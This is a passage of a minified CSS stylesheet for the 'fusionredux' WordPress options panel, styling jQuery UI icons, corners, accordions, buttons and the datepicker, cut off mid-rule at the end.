.ui-icon-signal-diag,.control-section-fusionredux .ui-icon-signal-diag,.control-panel-fusionredux .ui-icon-signal-diag,.fusionredux-metabox .ui-icon-signal-diag{background-position:-16px -176px}.fusionredux-container .ui-icon-signal,.control-section-fusionredux .ui-icon-signal,.control-panel-fusionredux .ui-icon-signal,.fusionredux-metabox .ui-icon-signal{background-position:-32px -176px}.fusionredux-container .ui-icon-battery-0,.control-section-fusionredux .ui-icon-battery-0,.control-panel-fusionredux .ui-icon-battery-0,.fusionredux-metabox .ui-icon-battery-0{background-position:-48px -176px}.fusionredux-container .ui-icon-battery-1,.control-section-fusionredux .ui-icon-battery-1,.control-panel-fusionredux .ui-icon-battery-1,.fusionredux-metabox .ui-icon-battery-1{background-position:-64px -176px}.fusionredux-container .ui-icon-battery-2,.control-section-fusionredux .ui-icon-battery-2,.control-panel-fusionredux .ui-icon-battery-2,.fusionredux-metabox .ui-icon-battery-2{background-position:-80px -176px}.fusionredux-container .ui-icon-battery-3,.control-section-fusionredux .ui-icon-battery-3,.control-panel-fusionredux .ui-icon-battery-3,.fusionredux-metabox .ui-icon-battery-3{background-position:-96px -176px}.fusionredux-container .ui-icon-circle-plus,.control-section-fusionredux .ui-icon-circle-plus,.control-panel-fusionredux .ui-icon-circle-plus,.fusionredux-metabox .ui-icon-circle-plus{background-position:0 -192px}.fusionredux-container .ui-icon-circle-minus,.control-section-fusionredux .ui-icon-circle-minus,.control-panel-fusionredux .ui-icon-circle-minus,.fusionredux-metabox .ui-icon-circle-minus{background-position:-16px -192px}.fusionredux-container .ui-icon-circle-close,.control-section-fusionredux .ui-icon-circle-close,.control-panel-fusionredux .ui-icon-circle-close,.fusionredux-metabox .ui-icon-circle-close{background-position:-32px -192px}.fusionredux-container .ui-icon-circle-triangle-e,.control-section-fusionredux .ui-icon-circle-triangle-e,.control-panel-fusionredux .ui-icon-circle-triangle-e,.fusionredux-metabox .ui-icon-circle-triangle-e{background-position:-48px -192px}.fusionredux-container .ui-icon-circle-triangle-s,.control-section-fusionredux .ui-icon-circle-triangle-s,.control-panel-fusionredux .ui-icon-circle-triangle-s,.fusionredux-metabox .ui-icon-circle-triangle-s{background-position:-64px -192px}.fusionredux-container .ui-icon-circle-triangle-w,.control-section-fusionredux .ui-icon-circle-triangle-w,.control-panel-fusionredux .ui-icon-circle-triangle-w,.fusionredux-metabox .ui-icon-circle-triangle-w{background-position:-80px -192px}.fusionredux-container .ui-icon-circle-triangle-n,.control-section-fusionredux .ui-icon-circle-triangle-n,.control-panel-fusionredux .ui-icon-circle-triangle-n,.fusionredux-metabox .ui-icon-circle-triangle-n{background-position:-96px -192px}.fusionredux-container .ui-icon-circle-arrow-e,.control-section-fusionredux .ui-icon-circle-arrow-e,.control-panel-fusionredux .ui-icon-circle-arrow-e,.fusionredux-metabox .ui-icon-circle-arrow-e{background-position:-112px -192px}.fusionredux-container .ui-icon-circle-arrow-s,.control-section-fusionredux .ui-icon-circle-arrow-s,.control-panel-fusionredux .ui-icon-circle-arrow-s,.fusionredux-metabox .ui-icon-circle-arrow-s{background-position:-128px -192px}.fusionredux-container .ui-icon-circle-arrow-w,.control-section-fusionredux .ui-icon-circle-arrow-w,.control-panel-fusionredux .ui-icon-circle-arrow-w,.fusionredux-metabox .ui-icon-circle-arrow-w{background-position:-144px -192px}.fusionredux-container .ui-icon-circle-arrow-n,.control-section-fusionredux .ui-icon-circle-arrow-n,.control-panel-fusionredux .ui-icon-circle-arrow-n,.fusionredux-metabox .ui-icon-circle-arrow-n{background-position:-160px -192px}.fusionredux-container .ui-icon-circle-zoomin,.control-section-fusionredux .ui-icon-circle-zoomin,.control-panel-fusionredux .ui-icon-circle-zoomin,.fusionredux-metabox .ui-icon-circle-zoomin{background-position:-176px -192px}.fusionredux-container .ui-icon-circle-zoomout,.control-section-fusionredux .ui-icon-circle-zoomout,.control-panel-fusionredux .ui-icon-circle-zoomout,.fusionredux-metabox .ui-icon-circle-zoomout{background-position:-192px -192px}.fusionredux-container .ui-icon-circle-check,.control-section-fusionredux .ui-icon-circle-check,.control-panel-fusionredux .ui-icon-circle-check,.fusionredux-metabox .ui-icon-circle-check{background-position:-208px -192px}.fusionredux-container .ui-icon-circlesmall-plus,.control-section-fusionredux .ui-icon-circlesmall-plus,.control-panel-fusionredux .ui-icon-circlesmall-plus,.fusionredux-metabox .ui-icon-circlesmall-plus{background-position:0 -208px}.fusionredux-container .ui-icon-circlesmall-minus,.control-section-fusionredux .ui-icon-circlesmall-minus,.control-panel-fusionredux .ui-icon-circlesmall-minus,.fusionredux-metabox .ui-icon-circlesmall-minus{background-position:-16px -208px}.fusionredux-container .ui-icon-circlesmall-close,.control-section-fusionredux .ui-icon-circlesmall-close,.control-panel-fusionredux .ui-icon-circlesmall-close,.fusionredux-metabox .ui-icon-circlesmall-close{background-position:-32px -208px}.fusionredux-container .ui-icon-squaresmall-plus,.control-section-fusionredux .ui-icon-squaresmall-plus,.control-panel-fusionredux .ui-icon-squaresmall-plus,.fusionredux-metabox .ui-icon-squaresmall-plus{background-position:-48px -208px}.fusionredux-container .ui-icon-squaresmall-minus,.control-section-fusionredux .ui-icon-squaresmall-minus,.control-panel-fusionredux .ui-icon-squaresmall-minus,.fusionredux-metabox .ui-icon-squaresmall-minus{background-position:-64px -208px}.fusionredux-container .ui-icon-squaresmall-close,.control-section-fusionredux .ui-icon-squaresmall-close,.control-panel-fusionredux .ui-icon-squaresmall-close,.fusionredux-metabox .ui-icon-squaresmall-close{background-position:-80px -208px}.fusionredux-container .ui-icon-grip-dotted-vertical,.control-section-fusionredux .ui-icon-grip-dotted-vertical,.control-panel-fusionredux .ui-icon-grip-dotted-vertical,.fusionredux-metabox .ui-icon-grip-dotted-vertical{background-position:0 -224px}.fusionredux-container .ui-icon-grip-dotted-horizontal,.control-section-fusionredux .ui-icon-grip-dotted-horizontal,.control-panel-fusionredux .ui-icon-grip-dotted-horizontal,.fusionredux-metabox .ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.fusionredux-container .ui-icon-grip-solid-vertical,.control-section-fusionredux .ui-icon-grip-solid-vertical,.control-panel-fusionredux .ui-icon-grip-solid-vertical,.fusionredux-metabox .ui-icon-grip-solid-vertical{background-position:-32px -224px}.fusionredux-container .ui-icon-grip-solid-horizontal,.control-section-fusionredux .ui-icon-grip-solid-horizontal,.control-panel-fusionredux .ui-icon-grip-solid-horizontal,.fusionredux-metabox .ui-icon-grip-solid-horizontal{background-position:-48px -224px}.fusionredux-container .ui-icon-gripsmall-diagonal-se,.control-section-fusionredux .ui-icon-gripsmall-diagonal-se,.control-panel-fusionredux .ui-icon-gripsmall-diagonal-se,.fusionredux-metabox .ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.fusionredux-container .ui-icon-grip-diagonal-se,.control-section-fusionredux .ui-icon-grip-diagonal-se,.control-panel-fusionredux .ui-icon-grip-diagonal-se,.fusionredux-metabox .ui-icon-grip-diagonal-se{background-position:-80px -224px}.fusionredux-container .ui-corner-all,.fusionredux-container .ui-corner-top,.fusionredux-container .ui-corner-left,.fusionredux-container .ui-corner-tl,.control-section-fusionredux .ui-corner-all,.control-section-fusionredux .ui-corner-top,.control-section-fusionredux .ui-corner-left,.control-section-fusionredux .ui-corner-tl,.control-panel-fusionredux .ui-corner-all,.control-panel-fusionredux .ui-corner-top,.control-panel-fusionredux .ui-corner-left,.control-panel-fusionredux .ui-corner-tl,.fusionredux-metabox .ui-corner-all,.fusionredux-metabox .ui-corner-top,.fusionredux-metabox .ui-corner-left,.fusionredux-metabox .ui-corner-tl{-moz-border-radius-topleft:4px;-webkit-border-top-left-radius:4px;-khtml-border-top-left-radius:4px;border-top-left-radius:4px}.fusionredux-container .ui-corner-all,.fusionredux-container .ui-corner-top,.fusionredux-container .ui-corner-right,.fusionredux-container .ui-corner-tr,.control-section-fusionredux .ui-corner-all,.control-section-fusionredux .ui-corner-top,.control-section-fusionredux .ui-corner-right,.control-section-fusionredux .ui-corner-tr,.control-panel-fusionredux .ui-corner-all,.control-panel-fusionredux .ui-corner-top,.control-panel-fusionredux .ui-corner-right,.control-panel-fusionredux .ui-corner-tr,.fusionredux-metabox .ui-corner-all,.fusionredux-metabox .ui-corner-top,.fusionredux-metabox .ui-corner-right,.fusionredux-metabox .ui-corner-tr{-moz-border-radius-topright:4px;-webkit-border-top-right-radius:4px;-khtml-border-top-right-radius:4px;border-top-right-radius:4px}.fusionredux-container .ui-corner-all,.fusionredux-container .ui-corner-bottom,.fusionredux-container .ui-corner-left,.fusionredux-container .ui-corner-bl,.control-section-fusionredux .ui-corner-all,.control-section-fusionredux .ui-corner-bottom,.control-section-fusionredux .ui-corner-left,.control-section-fusionredux .ui-corner-bl,.control-panel-fusionredux .ui-corner-all,.control-panel-fusionredux .ui-corner-bottom,.control-panel-fusionredux .ui-corner-left,.control-panel-fusionredux .ui-corner-bl,.fusionredux-metabox .ui-corner-all,.fusionredux-metabox .ui-corner-bottom,.fusionredux-metabox .ui-corner-left,.fusionredux-metabox .ui-corner-bl{-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;-khtml-border-bottom-left-radius:4px;border-bottom-left-radius:4px}.fusionredux-container .ui-corner-all,.fusionredux-container .ui-corner-bottom,.fusionredux-container .ui-corner-right,.fusionredux-container .ui-corner-br,.control-section-fusionredux .ui-corner-all,.control-section-fusionredux .ui-corner-bottom,.control-section-fusionredux .ui-corner-right,.control-section-fusionredux .ui-corner-br,.control-panel-fusionredux .ui-corner-all,.control-panel-fusionredux .ui-corner-bottom,.control-panel-fusionredux .ui-corner-right,.control-panel-fusionredux .ui-corner-br,.fusionredux-metabox .ui-corner-all,.fusionredux-metabox .ui-corner-bottom,.fusionredux-metabox .ui-corner-right,.fusionredux-metabox .ui-corner-br{-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px;-khtml-border-bottom-right-radius:4px;border-bottom-right-radius:4px}.fusionredux-container .ui-widget-overlay,.control-section-fusionredux .ui-widget-overlay,.control-panel-fusionredux .ui-widget-overlay,.fusionredux-metabox .ui-widget-overlay{background:#aaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x;opacity:.3;filter:Alpha(Opacity=30)}.fusionredux-container .ui-widget-shadow,.control-section-fusionredux .ui-widget-shadow,.control-panel-fusionredux .ui-widget-shadow,.fusionredux-metabox .ui-widget-shadow{margin:-8px 0 0 -8px;padding:8px;background:#aaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x;opacity:.3;filter:Alpha(Opacity=30);-moz-border-radius:8px;-khtml-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}.fusionredux-container .ui-accordion,.control-section-fusionredux .ui-accordion,.control-panel-fusionredux .ui-accordion,.fusionredux-metabox .ui-accordion{width:100%}.fusionredux-container .ui-accordion .ui-accordion-header,.control-section-fusionredux .ui-accordion .ui-accordion-header,.control-panel-fusionredux .ui-accordion .ui-accordion-header,.fusionredux-metabox .ui-accordion .ui-accordion-header{cursor:pointer;position:relative;margin-top:1px;zoom:1;font-weight:bold}.fusionredux-container .ui-accordion .ui-accordion-li-fix,.control-section-fusionredux .ui-accordion .ui-accordion-li-fix,.control-panel-fusionredux .ui-accordion .ui-accordion-li-fix,.fusionredux-metabox .ui-accordion .ui-accordion-li-fix{display:inline}.fusionredux-container .ui-accordion .ui-accordion-header-active,.control-section-fusionredux .ui-accordion .ui-accordion-header-active,.control-panel-fusionredux .ui-accordion .ui-accordion-header-active,.fusionredux-metabox .ui-accordion .ui-accordion-header-active{border-bottom:0 !important}.fusionredux-container .ui-accordion .ui-accordion-header a,.control-section-fusionredux .ui-accordion .ui-accordion-header a,.control-panel-fusionredux .ui-accordion .ui-accordion-header a,.fusionredux-metabox .ui-accordion .ui-accordion-header a{display:block;font-size:1em;padding:.5em .5em .5em 1.7em}.fusionredux-container .ui-accordion-icons .ui-accordion-header a,.control-section-fusionredux .ui-accordion-icons .ui-accordion-header a,.control-panel-fusionredux .ui-accordion-icons .ui-accordion-header a,.fusionredux-metabox .ui-accordion-icons .ui-accordion-header a{padding-left:2.2em}.fusionredux-container .ui-accordion .ui-accordion-header .ui-icon,.control-section-fusionredux .ui-accordion .ui-accordion-header .ui-icon,.control-panel-fusionredux .ui-accordion .ui-accordion-header .ui-icon,.fusionredux-metabox .ui-accordion .ui-accordion-header .ui-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.fusionredux-container .ui-accordion .ui-accordion-content,.control-section-fusionredux .ui-accordion .ui-accordion-content,.control-panel-fusionredux .ui-accordion .ui-accordion-content,.fusionredux-metabox .ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;margin-top:-2px;position:relative;top:1px;margin-bottom:2px;overflow:auto;display:none;zoom:1}.fusionredux-container .ui-accordion .ui-accordion-content-active,.control-section-fusionredux .ui-accordion .ui-accordion-content-active,.control-panel-fusionredux .ui-accordion .ui-accordion-content-active,.fusionredux-metabox .ui-accordion .ui-accordion-content-active{display:block}.fusionredux-container .ui-button,.control-section-fusionredux .ui-button,.control-panel-fusionredux .ui-button,.fusionredux-metabox .ui-button{cursor:pointer;display:inline-block;background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6);background-image:-ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:-o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);background-image:linear-gradient(#ffffff, #ffffff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#ffffff", endColorstr="#e6e6e6", GradientType=0);padding:5px 14px 6px;margin:0;text-shadow:0 1px 1px rgba(255,255,255,.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-webkit-transition:.1s linear background-image;-moz-transition:.1s linear background-image;-ms-transition:.1s linear background-image;-o-transition:.1s linear background-image;transition:.1s linear background-image;overflow:visible}.fusionredux-container .ui-button-primary,.control-section-fusionredux .ui-button-primary,.control-panel-fusionredux .ui-button-primary,.fusionredux-metabox .ui-button-primary{color:#fff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#049cdb", endColorstr="#0064cd", GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25)}.fusionredux-container .ui-button-success,.control-section-fusionredux .ui-button-success,.control-panel-fusionredux .ui-button-success,.fusionredux-metabox .ui-button-success{color:#fff;background-color:#57a957;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957));background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#62c462", endColorstr="#57a957", GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,.25);border-color:#57a957 #57a957 #3d773d;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25)}.fusionredux-container .ui-button-error,.control-section-fusionredux .ui-button-error,.control-panel-fusionredux .ui-button-error,.fusionredux-metabox .ui-button-error{color:#fff;background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#ee5f5b", endColorstr="#c43c35", GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25)}.fusionredux-container .ui-button-icon-only,.control-section-fusionredux .ui-button-icon-only,.control-panel-fusionredux .ui-button-icon-only,.fusionredux-metabox .ui-button-icon-only{width:2.2em}.fusionredux-container .ui-button-icons-only,.control-section-fusionredux .ui-button-icons-only,.control-panel-fusionredux .ui-button-icons-only,.fusionredux-metabox .ui-button-icons-only{width:3.4em}.fusionredux-container button.ui-button-icons-only,.control-section-fusionredux button.ui-button-icons-only,.control-panel-fusionredux button.ui-button-icons-only,.fusionredux-metabox button.ui-button-icons-only{width:3.7em}.fusionredux-container .ui-button .ui-button-text,.control-section-fusionredux .ui-button .ui-button-text,.control-panel-fusionredux .ui-button .ui-button-text,.fusionredux-metabox .ui-button .ui-button-text{display:block}.fusionredux-container .ui-button-icon-only .ui-button-text,.fusionredux-container .ui-button-icons-only .ui-button-text,.control-section-fusionredux .ui-button-icon-only .ui-button-text,.control-section-fusionredux .ui-button-icons-only .ui-button-text,.control-panel-fusionredux .ui-button-icon-only .ui-button-text,.control-panel-fusionredux .ui-button-icons-only .ui-button-text,.fusionredux-metabox .ui-button-icon-only .ui-button-text,.fusionredux-metabox .ui-button-icons-only .ui-button-text{padding:.4em;text-indent:-9999999px;display:none}.fusionredux-container .ui-button-text-icon-primary .ui-button-text,.fusionredux-container .ui-button-text-icons .ui-button-text,.control-section-fusionredux .ui-button-text-icon-primary .ui-button-text,.control-section-fusionredux .ui-button-text-icons .ui-button-text,.control-panel-fusionredux .ui-button-text-icon-primary .ui-button-text,.control-panel-fusionredux .ui-button-text-icons .ui-button-text,.fusionredux-metabox .ui-button-text-icon-primary .ui-button-text,.fusionredux-metabox .ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em}.fusionredux-container .ui-button-text-icon-secondary .ui-button-text,.fusionredux-container .ui-button-text-icons .ui-button-text,.control-section-fusionredux .ui-button-text-icon-secondary .ui-button-text,.control-section-fusionredux .ui-button-text-icons .ui-button-text,.control-panel-fusionredux .ui-button-text-icon-secondary .ui-button-text,.control-panel-fusionredux .ui-button-text-icons .ui-button-text,.fusionredux-metabox .ui-button-text-icon-secondary .ui-button-text,.fusionredux-metabox .ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em}.fusionredux-container .ui-button-text-icons .ui-button-text,.control-section-fusionredux .ui-button-text-icons .ui-button-text,.control-panel-fusionredux .ui-button-text-icons .ui-button-text,.fusionredux-metabox .ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em}.fusionredux-container .ui-button-icon-only .ui-icon,.fusionredux-container .ui-button-text-icon-primary .ui-icon,.fusionredux-container .ui-button-text-icon-secondary .ui-icon,.fusionredux-container .ui-button-text-icons .ui-icon,.fusionredux-container .ui-button-icons-only .ui-icon,.control-section-fusionredux .ui-button-icon-only .ui-icon,.control-section-fusionredux .ui-button-text-icon-primary .ui-icon,.control-section-fusionredux .ui-button-text-icon-secondary .ui-icon,.control-section-fusionredux .ui-button-text-icons .ui-icon,.control-section-fusionredux .ui-button-icons-only .ui-icon,.control-panel-fusionredux .ui-button-icon-only .ui-icon,.control-panel-fusionredux .ui-button-text-icon-primary .ui-icon,.control-panel-fusionredux .ui-button-text-icon-secondary .ui-icon,.control-panel-fusionredux .ui-button-text-icons .ui-icon,.control-panel-fusionredux .ui-button-icons-only .ui-icon,.fusionredux-metabox .ui-button-icon-only .ui-icon,.fusionredux-metabox .ui-button-text-icon-primary .ui-icon,.fusionredux-metabox .ui-button-text-icon-secondary .ui-icon,.fusionredux-metabox .ui-button-text-icons .ui-icon,.fusionredux-metabox .ui-button-icons-only .ui-icon{top:50%;margin-top:-3px;margin-bottom:3px}.fusionredux-container .ui-button-icon-only .ui-icon,.control-section-fusionredux .ui-button-icon-only .ui-icon,.control-panel-fusionredux .ui-button-icon-only .ui-icon,.fusionredux-metabox .ui-button-icon-only .ui-icon{left:50%;margin-left:-8px}.fusionredux-container .ui-button-text-icon-primary .ui-button-icon-primary,.fusionredux-container .ui-button-text-icons .ui-button-icon-primary,.fusionredux-container .ui-button-icons-only .ui-button-icon-primary,.control-section-fusionredux .ui-button-text-icon-primary .ui-button-icon-primary,.control-section-fusionredux .ui-button-text-icons .ui-button-icon-primary,.control-section-fusionredux .ui-button-icons-only .ui-button-icon-primary,.control-panel-fusionredux .ui-button-text-icon-primary .ui-button-icon-primary,.control-panel-fusionredux .ui-button-text-icons .ui-button-icon-primary,.control-panel-fusionredux .ui-button-icons-only .ui-button-icon-primary,.fusionredux-metabox .ui-button-text-icon-primary .ui-button-icon-primary,.fusionredux-metabox .ui-button-text-icons .ui-button-icon-primary,.fusionredux-metabox .ui-button-icons-only .ui-button-icon-primary{left:.5em}.fusionredux-container .ui-button-text-icon-secondary .ui-button-icon-secondary,.fusionredux-container .ui-button-text-icons .ui-button-icon-secondary,.fusionredux-container .ui-button-icons-only .ui-button-icon-secondary,.control-section-fusionredux .ui-button-text-icon-secondary .ui-button-icon-secondary,.control-section-fusionredux .ui-button-text-icons .ui-button-icon-secondary,.control-section-fusionredux .ui-button-icons-only .ui-button-icon-secondary,.control-panel-fusionredux .ui-button-text-icon-secondary .ui-button-icon-secondary,.control-panel-fusionredux .ui-button-text-icons .ui-button-icon-secondary,.control-panel-fusionredux .ui-button-icons-only .ui-button-icon-secondary,.fusionredux-metabox .ui-button-text-icon-secondary .ui-button-icon-secondary,.fusionredux-metabox .ui-button-text-icons .ui-button-icon-secondary,.fusionredux-metabox .ui-button-icons-only .ui-button-icon-secondary{right:.5em}.fusionredux-container .ui-button-text-icons .ui-button-icon-secondary,.fusionredux-container .ui-button-icons-only .ui-button-icon-secondary,.control-section-fusionredux .ui-button-text-icons .ui-button-icon-secondary,.control-section-fusionredux .ui-button-icons-only .ui-button-icon-secondary,.control-panel-fusionredux .ui-button-text-icons .ui-button-icon-secondary,.control-panel-fusionredux .ui-button-icons-only .ui-button-icon-secondary,.fusionredux-metabox .ui-button-text-icons .ui-button-icon-secondary,.fusionredux-metabox .ui-button-icons-only .ui-button-icon-secondary{right:.5em}.fusionredux-container .ui-buttonset,.control-section-fusionredux .ui-buttonset,.control-panel-fusionredux .ui-buttonset,.fusionredux-metabox .ui-buttonset{margin-right:7px}.fusionredux-container .ui-buttonset .ui-state-active,.control-section-fusionredux .ui-buttonset .ui-state-active,.control-panel-fusionredux .ui-buttonset .ui-state-active,.fusionredux-metabox .ui-buttonset .ui-state-active{color:#fff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#049cdb", endColorstr="#0064cd", GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25)}.fusionredux-container .ui-buttonset .ui-button,.control-section-fusionredux .ui-buttonset .ui-button,.control-panel-fusionredux .ui-buttonset .ui-button,.fusionredux-metabox .ui-buttonset .ui-button{margin-left:0;margin-right:0}.fusionredux-container button.ui-button::-moz-focus-inner,.control-section-fusionredux button.ui-button::-moz-focus-inner,.control-panel-fusionredux button.ui-button::-moz-focus-inner,.fusionredux-metabox button.ui-button::-moz-focus-inner{border:0;padding:0}.fusionredux-container .ui-datepicker,.control-section-fusionredux .ui-datepicker,.control-panel-fusionredux .ui-datepicker,.fusionredux-metabox .ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.fusionredux-container .ui-datepicker .ui-datepicker-header,.control-section-fusionredux .ui-datepicker .ui-datepicker-header,.control-panel-fusionredux .ui-datepicker .ui-datepicker-header,.fusionredux-metabox .ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0;border:0;font-weight:bold;width:100%;padding:4px 0;background-color:#f5f5f5;color:gray}.fusionredux-container .ui-datepicker .ui-datepicker-prev,.fusionredux-container .ui-datepicker .ui-datepicker-next,.control-section-fusionredux .ui-datepicker .ui-datepicker-prev,.control-section-fusionredux .ui-datepicker .ui-datepicker-next,.control-panel-fusionredux .ui-datepicker .ui-datepicker-prev,.control-panel-fusionredux .ui-datepicker .ui-datepicker-next,.fusionredux-metabox .ui-datepicker .ui-datepicker-prev,.fusionredux-metabox .ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.fusionredux-container .ui-datepicker .ui-datepicker-prev,.control-section-fusionredux .ui-datepicker .ui-datepicker-prev,.control-panel-fusionredux .ui-datepicker .ui-datepicker-prev,.fusionredux-metabox .ui-datepicker .ui-datepicker-prev{left:2px}.fusionredux-container .ui-datepicker .ui-datepicker-next,.control-section-fusionredux .ui-datepicker .ui-datepicker-next,.control-panel-fusionredux .ui-datepicker .ui-datepicker-next,.fusionredux-metabox .ui-datepicker .ui-datepicker-next{right:2px}.fusionredux-container .ui-datepicker .ui-datepicker-prev span,.fusionredux-container .ui-datepicker .ui-datepicker-next span,.control-section-fusionredux .ui-datepicker .ui-datepicker-prev span,.control-section-fusionredux .ui-datepicker .ui-datepicker-next span,.control-panel-fusionredux .ui-datepicker .ui-datepicker-prev span,.control-panel-fusionredux .ui-datepicker .ui-datepicker-next span,.fusionredux-metabox .ui-datepicker .ui-datepicker-prev span,.fusionredux-metabox .ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.fusionredux-container .ui-datepicker .ui-datepicker-title,.control-section-fusionredux .ui-datepicker .ui-datepicker-title,.control-panel-fusionredux .ui-datepicker .ui-datepicker-title,.fusionredux-metabox .ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.fusionredux-container .ui-datepicker .ui-datepicker-title select,.control-section-fusionredux .ui-datepicker .ui-datepicker-title select,.control-panel-fusionredux .ui-datepicker .ui-datepicker-title select,.fusionredux-metabox .ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.fusionredux-container .ui-datepicker select.ui-datepicker-month-year,.control-section-fusionredux .ui-datepicker select.ui-datepicker-month-year,.control-panel-fusionredux .ui-datepicker select.ui-datepicker-month-year,.fusionredux-metabox .ui-datepicker select.ui-datepicker-month-year{width:100%}.fusionredux-container .ui-datepicker select.ui-datepicker-month,.fusionredux-container .ui-datepicker select.ui-datepicker-year,.control-section-fusionredux .ui-datepicker select.ui-datepicker-month,.control-section-fusionredux .ui-datepicker select.ui-datepicker-year,.control-panel-fusionredux .ui-datepicker select.ui-datepicker-month,.control-panel-fusionredux .ui-datepicker select.ui-datepicker-year,.fusionredux-metabox .ui-datepicker select.ui-datepicker-month,.fusionredux-metabox .ui-datepicker select.ui-datepicker-year{width:49%}.fusionredux-container .ui-datepicker table,.control-section-fusionredux .ui-datepicker table,.control-panel-fusionredux .ui-datepicker table,.fusionredux-metabox .ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.fusionredux-container .ui-datepicker th,.control-section-fusionredux .ui-datepicker th,.control-panel-fusionredux .ui-datepicker th,.fusionredux-metabox .ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.fusionredux-container .ui-datepicker td,.control-section-fusionredux .ui-datepicker td,.control-panel-fusionredux .ui-datepicker td,.fusionredux-metabox .ui-datepicker td{border:0;padding:1px}.fusionredux-container .ui-datepicker td span,.fusionredux-container .ui-datepicker td a,.control-section-fusionredux .ui-datepicker td span,.control-section-fusionredux .ui-datepicker td a,.control-panel-fusionredux .ui-datepicker td span,.control-panel-fusionredux .ui-datepicker td a,.fusionredux-metabox .ui-datepicker td span,.fusionredux-metabox .ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.fusionredux-container .ui-datepicker .ui-datepicker-buttonpane,.control-section-fusionredux .ui-datepicker .ui-datepicker-buttonpane,.control-panel-fusionredux .ui-datepicker .ui-datepicker-buttonpane,.fusionredux-metabox .ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.fusionredux-container .ui-datepicker .ui-datepicker-buttonpane 